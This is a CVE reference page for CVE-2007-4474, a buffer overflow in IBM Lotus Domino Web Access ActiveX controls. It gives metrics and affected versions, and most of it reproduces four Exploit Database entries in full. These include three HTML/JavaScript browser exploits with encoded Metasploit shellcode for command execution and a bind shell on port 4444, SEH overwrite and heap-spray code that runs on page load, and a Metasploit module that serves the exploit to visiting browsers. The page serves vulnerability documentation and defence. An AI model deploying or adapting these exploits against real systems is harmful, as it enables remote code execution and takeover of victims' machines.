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CVE Descriptions
Multiple stack-based buffer overflows in the IBM Lotus Domino Web Access ActiveX control, as provided by inotes6.dll, inotes6w.dll, dwa7.dll, and dwa7w.dll, in Domino 6.x and 7.x allow remote attackers to execute arbitrary code, as demonstrated by an overflow from a long General_ServerName property value when calling the InstallBrowserHelperDll function in the Upload Module in the dwa7.dwa7.1 control in dwa7w.dll 7.0.34.1.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 4818
Publication date : 2007-12-29 23h00 +00:00
Author : Elazar
EDB Verified : Yes
<!--
written by e.b.
IBM Domino Web Access Upload Module inotes6.dll SEH Overwrite Exploit
Bad chars: 0x80+
CVE-2007-4474
Tested on Windows XP SP2(fully patched) English, IE6, inotes6.dll version 6.0.40.0 and version 6.0.48.0
Thanks to str0ke for pointing me in the right direction and to h.d.m. and the Metasploit crew
-->
<html>
<head>
<title>IBM Domino Web Access Upload Module inotes6.dll SEH Overwrite Exploit</title>
<script language="JavaScript" defer>
function Check() {
var buf = 'A';
while (buf.length <= 3119) buf = buf + 'A';
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +
"%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" +
"%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" +
"%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" +
"%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" +
"%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" +
"%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" +
"%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" +
"%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" +
"%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" +
"%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" +
"%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" +
"%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" +
"%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" +
"%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" +
"%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" +
"%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" +
"%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" +
"%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" +
"%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" +
"%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" +
"%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" +
"%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" +
"%4e%31%75%74%38%70%65%77%70%43");
// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +
"%49%49%49%49%49%49%49%49%49%49%37%49%51%5a%6a%43" +
"%58%30%42%31%50%41%42%6b%41%41%53%41%32%41%41%32" +
"%42%41%30%42%41%58%50%38%41%42%75%78%69%4b%4c%72" +
"%4a%58%6b%52%6d%4a%48%4a%59%6b%4f%6b%4f%69%6f%41" +
"%70%4e%6b%52%4c%74%64%41%34%6e%6b%37%35%55%6c%4c" +
"%4b%71%6c%64%45%61%68%74%41%6a%4f%6e%6b%62%6f%32" +
"%38%6c%4b%33%6f%37%50%55%51%78%6b%31%59%6c%4b%50" +
"%34%6e%6b%46%61%68%6e%45%61%6f%30%6c%59%6c%6c%6b" +
"%34%39%50%41%64%37%77%68%41%69%5a%56%6d%63%31%4b" +
"%72%78%6b%6c%34%75%6b%56%34%31%34%57%58%54%35%6b" +
"%55%6e%6b%33%6f%55%74%74%41%78%6b%41%76%4c%4b%46" +
"%6c%62%6b%6e%6b%41%4f%35%4c%56%61%68%6b%66%63%36" +
"%4c%6c%4b%6b%39%72%4c%44%64%57%6c%61%71%4f%33%47" +
"%41%6b%6b%33%54%4c%4b%63%73%70%30%6c%4b%53%70%64" +
"%4c%6c%4b%72%50%45%4c%4e%4d%6c%4b%37%30%75%58%73" +
"%6e%42%48%4c%4e%52%6e%46%6e%58%6c%56%30%39%6f%58" +
"%56%71%76%46%33%72%46%63%58%30%33%70%32%33%58%54" +
"%37%52%53%45%62%51%4f%50%54%4b%4f%5a%70%33%58%6a" +
"%6b%68%6d%59%6c%45%6b%46%30%49%6f%59%46%73%6f%4e" +
"%69%58%65%73%56%4d%51%58%6d%36%68%64%42%72%75%72" +
"%4a%67%72%59%6f%6e%30%72%48%4a%79%56%69%6b%45%6e" +
"%4d%76%37%6b%4f%58%56%33%63%30%53%50%53%76%33%70" +
"%53%33%73%53%63%37%33%56%33%6b%4f%5a%70%32%46%50" +
"%68%35%41%71%4c%30%66%33%63%6c%49%6d%31%6a%35%70" +
"%68%6e%44%35%4a%52%50%4b%77%71%47%4b%4f%4e%36%30" +
"%6a%52%30%31%41%70%55%59%6f%6e%30%30%68%6c%64%4c" +
"%6d%54%6e%79%79%31%47%59%6f%59%46%46%33%66%35%6b" +
"%4f%58%50%63%58%4b%55%73%79%4c%46%41%59%63%67%4b" +
"%4f%78%56%76%30%53%64%41%44%33%65%79%6f%4e%30%4e" +
"%73%71%78%58%67%61%69%69%56%71%69%62%77%39%6f%6a" +
"%76%51%45%49%6f%4e%30%51%76%53%5a%71%74%72%46%62" +
"%48%30%63%30%6d%6c%49%5a%45%63%5a%62%70%76%39%31" +
"%39%58%4c%4e%69%4d%37%53%5a%33%74%4e%69%4b%52%56" +
"%51%4b%70%6c%33%6f%5a%49%6e%33%72%44%6d%6b%4e%37" +
"%32%76%4c%6e%73%6c%4d%70%7a%76%58%6c%6b%4e%4b%4c" +
"%6b%73%58%53%42%79%6e%6d%63%74%56%6b%4f%30%75%70" +
"%44%4b%4f%79%46%53%6b%70%57%70%52%71%41%50%51%42" +
"%71%41%7a%33%31%42%71%41%41%51%45%66%31%69%6f%5a" +
"%70%50%68%6e%4d%5a%79%56%65%68%4e%33%63%39%6f%58" +
"%56%63%5a%4b%4f%4b%4f%70%37%4b%4f%4a%70%4c%4b%61" +
"%47%6b%4c%4d%53%6b%74%31%74%49%6f%59%46%70%52%59" +
"%6f%4e%30%63%58%6c%30%6f%7a%57%74%61%4f%32%73%4b" +
"%4f%68%56%39%6f%38%50%43");
var next_seh_pointer = unescape("%EB%06%90%90"); //2 byte jump
//oleacc.dll Windows XP SP2 English 0x74C96950 pop ebp - pop - retbis
//no SafeSEH
var seh_handler = unescape("%50%69%C9%74");
var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90");
var m = buf + next_seh_pointer + seh_handler + nop + shellcode1 + nop;
obj.General_ServerName = m;
obj.InstallBrowserHelperDll();
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:3BFFE033-BF43-11D5-A271-00A024A51325">
Unable to create object
</object>
</body>
</html>
# milw0rm.com [2007-12-30]
Exploit Database EDB-ID : 4820
Publication date : 2007-12-29 23h00 +00:00
Author : Elazar
EDB Verified : Yes
<!--
written by e.b.
IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit
CVE-2007-4474
Tested on Windows XP SP2(fully patched) English, IE6, dwa7w.dll version 7.0.34.1
Thanks to h.d.m. and the Metasploit crew
-->
<html>
<head>
<title>IBM Domino Web Access Upload Module dwa7w.dll SEH Overwrite Exploit</title>
<script language="JavaScript" defer>
function Check() {
var buf = unescape("%u4141");
while (buf.length <= 2461) buf = buf + unescape("%u4141");
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");
// win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
"%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
"%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
"%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
"%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" +
"%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" +
"%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" +
"%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" +
"%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" +
"%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" +
"%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" +
"%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" +
"%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" +
"%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" +
"%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" +
"%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" +
"%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" +
"%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" +
"%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" +
"%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" +
"%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" +
"%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" +
"%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" +
"%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" +
"%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" +
"%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" +
"%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" +
"%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" +
"%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" +
"%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" +
"%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" +
"%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" +
"%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" +
"%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" +
"%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" +
"%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" +
"%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" +
"%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" +
"%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" +
"%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" +
"%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" +
"%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" +
"%u684f%u3956%u386f%u4350");
var next_seh_pointer = unescape("%u06EB%u9090"); //2 byte jump
//oleacc.dll Windows XP SP2 English 0x74C96950 pop ebp - pop - retbis
//no SafeSEH
var seh_handler = unescape("%u6950%u74C9");
var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090");
var m = buf + next_seh_pointer + seh_handler + nop + shellcode1 + nop;
obj.General_ServerName = m;
obj.InstallBrowserHelperDll();
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="obj" classid="clsid:E008A543-CEFB-4559-912F-C27C2B89F13B">
Unable to create object
</object>
</body>
</html>
# milw0rm.com [2007-12-30]
Exploit Database EDB-ID : 5111
Publication date : 2008-02-12 23h00 +00:00
Author : Elazar
EDB Verified : Yes
<!--
written by e.b.
IBM Domino Web Access Upload Module Universal BoF Exploit
CVE-2007-4474
Tested on Windows XP SP2(fully patched) English, IE6 and IE7
dwa7w.dll version 7.0.34.1
inotes6.dll version 6.0.40.0 and version 6.0.48.0
inotes6w.dll version 6.0.48.0
Thanks to h.d.m. and the Metasploit crew
-->
<html>
<head>
<title>IBM Domino Web Access Upload Module Universal BoF Exploit</title>
<script language="JavaScript" defer>
function Check() {
// win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
"%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
"%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
"%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
"%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
"%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
"%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
"%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
"%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
"%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
"%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
"%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
"%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
"%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
"%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
"%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
"%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
"%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
"%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
"%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
"%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
"%u314e%u7475%u7038%u7765%u4370");
// win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
"%u4949%u4949%u4849%u4949%u4949%u4949%u5a51%u686a" +
"%u5058%u4230%u4131%u6b42%u4142%u4278%u4232%u3241" +
"%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u414c" +
"%u6a7a%u304b%u4d4d%u3838%u4b79%u494f%u4b6f%u514f" +
"%u6e70%u506b%u666c%u6444%u6c64%u434b%u5575%u4c6c" +
"%u334b%u654c%u5055%u5478%u5a41%u6c4f%u704b%u454f" +
"%u4e48%u716b%u754f%u3770%u5871%u506b%u6e49%u346b" +
"%u6e74%u366b%u4a61%u774e%u4f41%u4e30%u4c79%u4f6c" +
"%u4f74%u3030%u5674%u7967%u6b51%u447a%u434d%u4931" +
"%u7a52%u4b4b%u4544%u706b%u4154%u3134%u5238%u7955" +
"%u6e75%u436b%u746f%u6364%u3831%u656b%u4e36%u766b" +
"%u706c%u4c4b%u334b%u576f%u346c%u5a41%u764b%u6663" +
"%u6e4c%u6b6b%u5039%u666c%u5744%u326c%u6f41%u4433" +
"%u4971%u754b%u4c34%u324b%u6663%u4c50%u734b%u6670" +
"%u4e6c%u306b%u7570%u4c4c%u4c6d%u734b%u5770%u3378" +
"%u416e%u4c78%u724e%u466e%u386e%u706c%u5950%u696f" +
"%u7546%u7236%u3073%u6566%u3638%u4653%u6252%u6248" +
"%u5257%u3653%u5352%u306f%u5954%u786f%u6250%u5a48" +
"%u486b%u4b6d%u754c%u466b%u3930%u5a6f%u6176%u4e4f" +
"%u4d69%u3035%u6e66%u7a61%u374d%u3778%u7672%u3035" +
"%u346a%u7942%u4e6f%u3330%u5a58%u3779%u6b79%u4c45" +
"%u726d%u6977%u6a6f%u4376%u7063%u5353%u5363%u5163" +
"%u4143%u7253%u7373%u6173%u6b43%u4e4f%u7330%u4356" +
"%u5758%u7361%u536c%u7656%u4e33%u5969%u4e71%u3575" +
"%u6938%u6534%u424a%u6f50%u3137%u6b47%u6b4f%u3066" +
"%u726a%u3030%u6351%u4965%u386f%u5550%u6f38%u4e54" +
"%u364d%u4d4e%u3139%u4b47%u6a4f%u6276%u7673%u6b35" +
"%u6e4f%u5330%u5858%u5265%u6e69%u7366%u7379%u3967" +
"%u4e6f%u7236%u7070%u6254%u7274%u5975%u586f%u4c50" +
"%u3553%u6b38%u7157%u6f69%u3036%u6679%u7937%u6e6f" +
"%u7036%u6b55%u6e4f%u3530%u7236%u724a%u7044%u7166" +
"%u4278%u3243%u6e4d%u6b69%u5055%u506a%u5150%u3549" +
"%u5a79%u4f6c%u6d79%u3337%u535a%u4d74%u7a59%u3742" +
"%u4941%u4a50%u4e53%u6b4a%u714e%u3452%u696d%u436e" +
"%u4472%u4d6c%u4c43%u634d%u704a%u4e38%u6e4b%u4e4b" +
"%u454b%u7038%u6b72%u6d4e%u6563%u7946%u506f%u5075" +
"%u5944%u696f%u5146%u624b%u6377%u3662%u4331%u6161" +
"%u7041%u366a%u3361%u4361%u7161%u5645%u3931%u4a6f" +
"%u3270%u4e48%u5a4d%u3379%u5835%u614e%u3943%u4b6f" +
"%u7366%u6b5a%u6b4f%u544f%u7977%u386f%u6c50%u534b" +
"%u5967%u4d6c%u4f53%u4234%u4b44%u494f%u5146%u5942" +
"%u586f%u5550%u3338%u394e%u6948%u4372%u6643%u4933" +
"%u396f%u6946%u586f%u6850");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize + shellcode1.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 400; i++){ memory[i] = block + shellcode1 }
try {
dwa7w.General_ServerName = makeBuf(1);
dwa7w.InstallBrowserHelperDll();
inotes6.General_ServerName = makeBuf(1); //switch to 0 for inotes6
inotes6.InstallBrowserHelperDll();
} catch(err) {}
}
function makeBuf(unicode) {
var junk = ""
for (i = 0; i < 2000; i++) { junk = junk + unescape("%u4141") }
var jmp = ""
if (unicode == 1) {
for (i = 0; i < 900; i++) { jmp = jmp + unescape("%u0E0E") }
} else {
for (i = 0; i < 900; i++) { jmp = jmp + unescape("%0E%0E") }
}
var m = junk + jmp;
return m;
}
</script>
</head>
<body onload="JavaScript: return Check();">
<object id="dwa7w" classid="clsid:E008A543-CEFB-4559-912F-C27C2B89F13B">
Unable to create object
</object>
<object id="inotes6" classid="clsid:3BFFE033-BF43-11D5-A271-00A024A51325">
Unable to create object
</object>
</body>
</html>
# milw0rm.com [2008-02-13]
Exploit Database EDB-ID : 16502
Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: ibmlotusdomino_dwa_uploadmodule.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Domino Web Access Upload Module Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in IBM Lotus Domino Web Access Upload Module.
By sending an overly long string to the "General_ServerName()" property located
in the dwa7w.dll and the inotes6w.dll control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
'Version' => '$Revision: 10394 $',
'References' =>
[
[ 'CVE', '2007-4474' ],
[ 'OSVDB', '40954' ],
[ 'BID', '26972' ],
[ 'URL', 'http://milw0rm.com/exploits/4820' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => 'Dec 20 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape(make_nops(4))
junk = Rex::Text.to_unescape(rand_text_alpha(2))
ret = Rex::Text.to_unescape([target.ret].pack('V'))
blocksize = 0x30000
fillto = 400
# Randomize the javascript variable names
dwa7w = rand_text_alpha(rand(100) + 1)
inotes6 = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_junk = rand_text_alpha(rand(100) + 1)
# Build out the message
content = <<-EOF
<html>
<object classid='clsid:E008A543-CEFB-4559-912F-C27C2B89F13B' id='#{dwa7w}'></object>
<object classid='clsid:3BFFE033-BF43-11D5-A271-00A024A51325' id='#{inotes6}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{j_nops} = unescape('#{nops}');
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < 450) #{j_ret} += #{j_ret};
#{j_junk} = unescape('#{junk}');
while (#{j_junk}.length < 2000) #{j_junk} += #{j_junk};
try {
#{dwa7w}.General_ServerName = #{j_junk} + #{j_ret};
#{dwa7w}.InstallBrowserHelperDll();
} catch(err) {}
try {
#{inotes6}.General_ServerName = #{j_junk} + #{j_ret};
#{inotes6}.InstallBrowserHelperDll();
} catch(err) {}
</script>
</html>
EOF
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
Products Mentioned
Configuraton 0
Ibm>>Domino_web_access >> Version 6.0
- Ibm>>Domino_web_access >> Version 6.0 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.0.1
- Ibm>>Domino_web_access >> Version 6.0.1 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.0.1.1
- Ibm>>Domino_web_access >> Version 6.0.1.1 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.0.2
- Ibm>>Domino_web_access >> Version 6.0.2 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.0.3
- Ibm>>Domino_web_access >> Version 6.0.3 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.0.4
- Ibm>>Domino_web_access >> Version 6.0.4 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.0.5
- Ibm>>Domino_web_access >> Version 6.0.5 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.5
- Ibm>>Domino_web_access >> Version 6.5 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.5.1
- Ibm>>Domino_web_access >> Version 6.5.1 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.5.2
- Ibm>>Domino_web_access >> Version 6.5.2 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.5.3
- Ibm>>Domino_web_access >> Version 6.5.3 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.5.4
- Ibm>>Domino_web_access >> Version 6.5.4 (Open CPE detail)
Ibm>>Domino_web_access >> Version 6.5.5
- Ibm>>Domino_web_access >> Version 6.5.5 (Open CPE detail)
Ibm>>Domino_web_access >> Version 7.0
- Ibm>>Domino_web_access >> Version 7.0 (Open CPE detail)
Ibm>>Domino_web_access >> Version 7.0.1
- Ibm>>Domino_web_access >> Version 7.0.1 (Open CPE detail)
Ibm>>Lotus_domino_web_access >> Version 7.0.1
- Ibm>>Lotus_domino_web_access >> Version 7.0.1 (Open CPE detail)
Ibm>>Lotus_domino_web_access >> Version 7.0.34.1
References
http://lists.grok.org.uk/pipermail/full-disclosure/2007-December/059233.html
Tags : mailing-list, x_refsource_FULLDISC
Tags : mailing-list, x_refsource_FULLDISC
